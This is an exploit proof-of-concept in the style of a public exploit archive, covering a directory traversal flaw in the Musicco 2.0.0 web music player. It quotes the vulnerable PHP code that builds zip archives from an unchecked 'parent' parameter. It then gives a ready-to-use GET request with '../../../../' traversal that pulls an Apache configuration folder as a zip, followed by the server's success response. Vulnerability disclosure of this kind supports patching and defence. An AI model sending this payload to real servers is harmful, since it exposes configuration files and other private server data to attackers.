Musicco 2.0.0 - Arbitrary Directory Download

# Exploit Title: Musicco 2.0.0 - Arbitrary Directory Download
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.musicco.app/
# Software Link: https://codeload.github.com/micser/musicco/zip/master
# Version: 2.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/?getAlbum&parent=[Directory]&album=Efe 

# /[PATH]/index.php
#3592 	} elseif (isset($_GET['getAlbum'])) {
#3593 			$parent = $_GET['parent'];
#3594 			$album = $_GET['album'];
#3595 			$rootPath = realpath($parent);
#3596 			$zip = new ZipArchive();
#3597 			$zip->open('./'.Musicco::getConfig('tempFolder').'/'.$album.'.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);

GET /[PATH]/?getAlbum&parent=../../../../Efe_S1/apache/conf&album=Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2018 14:24:42 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: musicco=rlparl6g67tsok72of1ln5tj23; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment;filename="Efe.zip"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/zip, application/octet-stream